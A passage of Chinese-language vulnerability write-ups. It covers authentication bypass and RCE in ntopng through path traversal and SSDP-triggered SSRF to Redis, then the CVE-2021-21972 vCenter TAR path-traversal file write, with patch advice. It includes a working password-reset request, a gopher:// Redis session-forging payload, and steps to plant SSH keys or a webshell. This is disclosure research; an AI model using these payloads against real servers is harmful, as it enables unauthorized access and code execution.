GET /lua/.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f
.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.
%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%
2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2
f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f
.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2fadmin/password_reset.lua.css?confirm_new_
password=123&new_password=123&old_password=0&username=admin HTTP/1.1
Host: 127.0.0.1:3000
Cookie: user=admin
Connection: close

0x04. 利用主机发现功能伪造 Session (版本 4.1.x-4.3.x)

ntopng 的主机发现功能利用了 SSDP(Simple Service Discovery Protocol)协议去发现内网中的设备。

SSDP 协议进行主机发现的流程如下所示:

+----------------------+
|      SSDP Client     +<--------+
+-----------+----------+         |
            |                    |
        M-SEARCH          HTTP/1.1 200 OK
            v                    |
+-----------+----------+         |
| 239.255.255.250:1900 |         |
+---+--------------+---+         |
    |              |             |
    v              v             |
+---+-----+  +-----+---+         |
| DEVICES |  | DEVICES |         |
+---+-----+  +-----+---+         |
    |              |             |
    +--------------+-------------+

SSDP 协议在 UDP 层传输,协议格式基于 HTTPU(在 UDP 端口上传输 HTTP 协议)。SSDP 客户端向多播地址239.255.255.250 的 1900 端口发送 M-SEARCH 的请求,局域网中加入此多播地址的设备接收到请求后,向客户端回复一个 HTTP/1.1 200 OK,在 HTTP Headers 里有与设备相关的信息。其中存在一个 Location 字段,一般指向设备的描述文件。

// modules/discover_utils.lua
function discover.discover2table(interface_name, recache)
    ...
    local ssdp = interface.discoverHosts(3)
    ...
    ssdp = analyzeSSDP(ssdp)
    ...

local function analyzeSSDP(ssdp)
   local rsp = {}

   for url,host in pairs(ssdp) do
      local hresp = ntop.httpGet(url, "", "", 3 --[[ seconds ]])
      ...

在 discover_utils.lua 中,Lua 会调用 discoverHosts 函数获取 SSDP 发现的设备信息,然后在analyzeSSDP 函数中请求 Location 头所指向的 URL。那么这里显然存在一个 SSRF 漏洞。ntop.httpGet最终调用到的方法为 Utils::httpGetPost,而这个方法又使用了 cURL 进行请求。

// Utils.cpp
bool Utils::httpGetPost(lua_State* vm, char *url, char *username,
            char *password, int timeout,
            bool return_content,
            bool use_cookie_authentication,
            HTTPTranferStats *stats, const char *form_data,
            char *write_fname, bool follow_redirects, int ip_version) {
  CURL *curl;
  FILE *out_f = NULL;
  bool ret = true;

  curl = curl_easy_init();

众所周知,cURL 是支持 gopher:// 协议的。ntopng 使用 Redis 储存 Session 的相关信息,那么利用SSRF 攻击本地的 Redis 即可设置 Session,最终实现认证绕过。

discover.discover2table 的调用入口在 discover.lua,也是一个偶数长度的文件名。于是通过请求此文件触发主机发现功能,同时启动一个 SSDP Server 去回复 ntopng 发出的 M-SEARCH 请求,并将 Location设置为如下 payload:

gopher://127.0.0.1:6379/_SET%20sessions.ntop%20%22admin|...%22%0d%0aQUIT%0d%0a

最终通过设置 Cookie 为 session=ntop 来通过认证。

0x05. 利用主机发现功能实现 RCE (版本 3.8-4.0)

原理同 0x04,利用点在 assistant_test.lua 中,需要设置 ntopng.prefs.telegram_chat_id 以及 ntopng.prefs.telegram_bot_token,利用 SSRF 写入 Redis 即可。

local function send_text_telegram(text) 
  local chat_id, bot_token = ntop.getCache("ntopng.prefs.telegram_chat_id"), 
  ntop.getCache("ntopng.prefs.telegram_bot_token")

    if( string.len(text) >= 4096 ) then 
      text = string.sub( text, 1, 4096 )
    end

    if (bot_token and chat_id) and (bot_token ~= "") and (chat_id ~= "") then 
      os.execute("curl -X POST  https://api.telegram.org/bot"..bot_token..
      "/sendMessage -d chat_id="..chat_id.." -d text=\" " ..text.." \" ")
      return 0

    else
      return 1
    end
end

0x06. 利用主机发现功能实现 RCE (版本 3.2-3.8)

原理同 0x04,利用点在 modules/alert_utils.lua 中,需要在 Redis 里设置合适的 threshold。

local function entity_threshold_crossed(granularity, old_table, new_table, threshold)
   local rc
   local threshold_info = table.clone(threshold)

   if old_table and new_table then -- meaningful checks require both new and old tables
      ..
      -- This is where magic happens: load() evaluates the string
      local what = "val = "..threshold.metric.."(old, new, duration); if(val ".. op .. " " ..
       threshold.edge .. ") then return(true) else return(false) end"

      local f = load(what)
      ...

0x07. 在云主机上进行利用

SSDP 通常是在局域网内进行数据传输的,看似不可能针对公网的 ntopng 进行攻击。但是我们根据 0x04 中所提及到的 SSDP 的运作方式可知,当 ntopng 发送 M-SEARCH 请求后,在 3s 内向其隐式绑定的 UDP 端口发送数据即可使 ntopng 成功触发漏洞。

// modules/discover_utils.lua: local ssdp = interface.discoverHosts(3) <- timeout
if(timeout < 1) timeout = 1;

tv.tv_sec = timeout;
tv.tv_usec = 0;
..

while(select(udp_sock + 1, &fdset, NULL, NULL, &tv) > 0) {
    struct sockaddr_in from = { 0 };
    socklen_t s = sizeof(from);
    char ipbuf[32];
    int len = recvfrom(udp_sock, (char*)msg, sizeof(msg), 0, (sockaddr*)&from, &s);
    ..

针对云主机,如 Google Compute Engine、腾讯云等,其实例的公网 IP 实际上是利用 NAT 来进行与外部网络的通信的。即使绑定在云主机的内网 IP 地址上(如 10.x.x.x),在流量经过 NAT 时,dst IP 也会被替换为云主机实例的内网 IP 地址,也就是说,我们一旦知道其与 SSDP 多播地址 239.255.255.250 通信的 UDP 端口,即使不在同一个局域网内,也可以使之接收到我们的 payload,以触发漏洞。

针对 0x04,我们可以利用 rest/v1/get/flow/active.lua 来获取当前 ntopng 服务器与 239.255.255.250 通信的端口,由于这个路径长度为奇数,所以我们需要利用 0x02 中提及到的任意 lua 文件包含来进行利用。

同时,由于 UDP 通信的过程中此端口是隐式绑定的,且并没有进行来源验证,所以一旦获取到这个端口号,则可以向此端口发送 SSDP 数据包,以混淆真实的 SSDP 回复。需要注意的是,需要在触发主机功能的窗口期内向此端口发送数据,所以整个攻击流程如下:

  1. 触发主机发现功能;
  2. 循环请求 rest/v1/get/flow/active.lua 以获取端口;
  3. 再次触发主机发现功能;
  4. 向目标从第 2 步获取到的 UDP 端口发送 payload;
  5. 尝试利用 Cookie 进行登录以绕过认证。

针对 0x05,我们可以利用 get_flows_data.lua 来获取相关的 UDP 端口,原理不再赘述。

0x07. Conclusion

为什么出问题的文件名长度都是偶数啊.jpg

CVE-2021-21972 vCenter Server 文件写入漏洞分析

By: RicterZ
24 February 2021 at 08:59

0x01. 漏洞简介

vSphere 是 VMware 推出的虚拟化平台套件,包含 ESXi、vCenter Server 等一系列的软件。其中 vCenter Server 为 ESXi 的控制中心,可从单一控制点统一管理数据中心的所有 vSphere 主机和虚拟机,使得 IT 管理员能够提高控制能力,简化入场任务,并降低 IT 环境的管理复杂性与成本。

vSphere Client(HTML5)在 vCenter Server 插件中存在一个远程执行代码漏洞。未授权的攻击者可以通过开放 443 端口的服务器向 vCenter Server 发送精心构造的请求,从而在服务器上写入 webshell,最终造成远程任意代码执行。

0x02. 影响范围

  • vmware:vcenter_server 7.0 U1c 之前的 7.0 版本
  • vmware:vcenter_server 6.7 U3l 之前的 6.7 版本
  • vmware:vcenter_server 6.5 U3n 之前的 6.5 版本

0x03. 漏洞影响

VMware已评估此问题的严重程度为 严重 程度,CVSSv3 得分为 9.8。

0x04. 漏洞分析

vCenter Server 的 vROPS 插件的 API 未经过鉴权,存在一些敏感接口。其中 uploadova 接口存在一个上传 OVA 文件的功能:

    @RequestMapping(
        value = {"/uploadova"},
        method = {RequestMethod.POST}
    )
    public void uploadOvaFile(@RequestParam(value = "uploadFile",required = true) CommonsMultipartFile uploadFile, HttpServletResponse response) throws Exception {
        logger.info("Entering uploadOvaFile api");
        int code = uploadFile.isEmpty() ? 400 : 200;
        PrintWriter wr = null;
...
        response.setStatus(code);
        String returnStatus = "SUCCESS";
        if (!uploadFile.isEmpty()) {
            try {
                logger.info("Downloading OVA file has been started");
                logger.info("Size of the file received  : " + uploadFile.getSize());
                InputStream inputStream = uploadFile.getInputStream();
                File dir = new File("/tmp/unicorn_ova_dir");
                if (!dir.exists()) {
                    dir.mkdirs();
                } else {
                    String[] entries = dir.list();
                    String[] var9 = entries;
                    int var10 = entries.length;

                    for(int var11 = 0; var11 < var10; ++var11) {
                        String entry = var9[var11];
                        File currentFile = new File(dir.getPath(), entry);
                        currentFile.delete();
                    }

                    logger.info("Successfully cleaned : /tmp/unicorn_ova_dir");
                }

                TarArchiveInputStream in = new TarArchiveInputStream(inputStream);
                TarArchiveEntry entry = in.getNextTarEntry();
                ArrayList result = new ArrayList();

代码逻辑是将 TAR 文件解压后上传到 /tmp/unicorn_ova_dir 目录。注意到如下代码:

                while(entry != null) {
                    if (entry.isDirectory()) {
                        entry = in.getNextTarEntry();
                    } else {
                        File curfile = new File("/tmp/unicorn_ova_dir", entry.getName());
                        File parent = curfile.getParentFile();
                        if (!parent.exists()) {
                            parent.mkdirs();

直接将 TAR 的文件名与 /tmp/unicorn_ova_dir 拼接并写入文件。如果文件名内存在 ../ 即可实现目录遍历。

对于 Linux 版本,可以创建一个包含 ../../home/vsphere-ui/.ssh/authorized_keys 的 TAR 文件并上传后利用 SSH 登陆:

$ ssh 192.168.1.34 -lvsphere-ui

VMware vCenter Server 7.0.1.00100

Type: vCenter Server with an embedded Platform Services Controller

[email protected] [ ~ ]$ id
uid=1016(vsphere-ui) gid=100(users) groups=100(users),59001(cis)

针对 Windows 版本,可以在目标服务器上写入 JSP webshell 文件,由于服务是 System 权限,所以可以任意文件写。

0x05. 漏洞修复

升级到安全版本:

  • vCenter Server 7.0 版本升级到 7.0.U1c

  • vCenter Server 6.7版本升级到 6.7.U3l

  • vCenter Server 6.5版本升级到 6.5 U3n

临时修复建议

(针对暂时无法升级的服务器)

  1. SSH远连到vCSA(或远程桌面连接到Windows VC)

  2. 备份以下文件:

    • Linux系统文件路径为:/etc/vmware/vsphere-ui/compatibility-matrix.xml (vCSA)

    • Windows文件路径为:C:\ProgramData\VMware\vCenterServer\cfg\vsphere-ui (Windows VC)

  3. 使用文本编辑器将文件内容修改为: 640

  4. 使用vmon-cli -r vsphere-ui命令重启vsphere-ui服务

  5. 访问https:///ui/vropspluginui/rest/services/checkmobregister,显示404错误 640--1--1

  6. 在vSphere Client的Solutions->Client Plugins中VMWare vROPS插件显示为incompatible 640--2-

0x06. 参考链接

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